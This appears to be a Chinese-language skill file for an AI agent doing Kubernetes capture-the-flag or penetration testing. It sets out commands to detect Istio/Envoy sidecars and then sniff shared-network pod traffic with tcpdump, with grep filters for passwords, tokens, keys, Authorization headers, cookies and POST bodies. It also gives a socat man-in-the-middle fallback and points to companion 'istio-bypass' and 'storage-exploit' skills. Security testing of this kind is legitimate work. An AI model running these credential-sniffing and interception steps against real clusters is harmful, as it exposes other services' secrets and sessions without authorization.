用途
该技能用于 Kubernetes 环境下的安全测试,针对同一 Pod 内 Sidecar 容器的流量劫持与敏感信息窃取。其核心前提是:同一 Pod 内的所有容器共享网络命名空间,因此 Sidecar 容器(如 Istio Envoy)发送的流量可以被同 Pod 的任何容器通过 tcpdump 直接抓取,因为它们共享同一张网卡。
适用触发条件:目标 Pod 存在 Istio/Envoy/Linkerd sidecar、题目提到“隐形旁观者”或“共享网络”、或需要从 Pod 内部嗅探流量。
主要能力
技能分为三个阶段。
Phase 1:检测 Sidecar
- 进程列表:
ps aux 2>/dev/null | grep -E 'envoy|pilot-agent|linkerd',看到 envoy 或 pilot-agent 即确认 Istio sidecar 存在。 - 环境变量:
env | grep -i istio,ISTIO_META_*开头的变量可确认 Istio。 - 网络接口:
ip addr,看到 istio0 / lo 以外的多个接口可能有 sidecar,需结合上面确认。 - DNS 配置:
cat /etc/resolv.conf,search 行包含 istio 相关条目。
Phase 2:流量抓包
Sidecar 内部通常使用 HTTP 明文通信(mTLS 在 Envoy 层终止后再转发),所以 tcpdump 能直接看到请求内容。
基本抓包:
- 全流量抓包(-A 显示 ASCII,能直接看到 HTTP 内容):
tcpdump -A -vvv - 只抓 HTTP 流量(减少噪音):
tcpdump -A -s 0 'tcp port 80 or tcp port 8080' - 直接过滤敏感关键词:
tcpdump -A -s 0 | grep -i -A5 'flag\|secret\|password\|token\|key' - 保存 pcap 后续用 Wireshark 分析:
tcpdump -w /tmp/capture.pcap -c 1000
针对性抓包:
- 抓特定服务的流量:
tcpdump -A host <target-service-ip> - 抓 POST 请求体(通常 credential 在 POST body 里):
tcpdump -A -s 0 'tcp dst port 80' | grep -A 20 'POST'
Phase 3:分析结果
抓到的流量中寻找:
- HTTP 请求/响应体 — flag、token、credential
- Authorization Header — Bearer token、Basic auth
- Cookie — session ID
- POST body — 表单数据、JSON payload
- Service 间通信 — 内部 API 调用暴露的敏感数据
无 tcpdump 时的替代方案
- 查看当前活跃连接(推断有哪些服务在通信):
cat /proc/net/tcp、cat /proc/net/tcp6、ss -tlnp、netstat -tlnp 2>/dev/null - 如果有 socat,可以做端口转发中间人抓取经过的流量:
socat -v TCP-LISTEN:8080,fork TCP:<target-svc>:80,-v 会在 stderr 打印双向流量内容。
使用方式
按 Phase 1 检测 Sidecar 是否存在,确认后进入 Phase 2 使用 tcpdump 抓包,再在 Phase 3 分析抓取结果。若无 tcpdump,则使用 /proc/net/tcp、ss、netstat 或 socat 替代。
适用场景
- 目标 Pod 存在 Istio/Envoy/Linkerd sidecar
- 题目提到“隐形旁观者”或“共享网络”
- 需要从 Pod 内部嗅探流量
限制与注意事项
- 流量可能是周期性的(cron job、定时上报),需要持续监听至少 30-60 秒。
- 关注 reporting-service、metrics、webhook 等命名的服务请求。
- 如果抓到的全是加密流量,说明 mTLS 没在 sidecar 层终止——换思路,尝试 Skill(skill="k8s-istio-bypass") 绕过策略。
相关技能
- 还没做服务发现?先 Skill(skill="k8s-network-recon") 确定有哪些服务
- 发现 Istio AuthorizationPolicy 阻拦 → Skill(skill="k8s-istio-bypass")
- 发现 NFS/EFS 挂载 → Skill(skill="k8s-storage-exploit")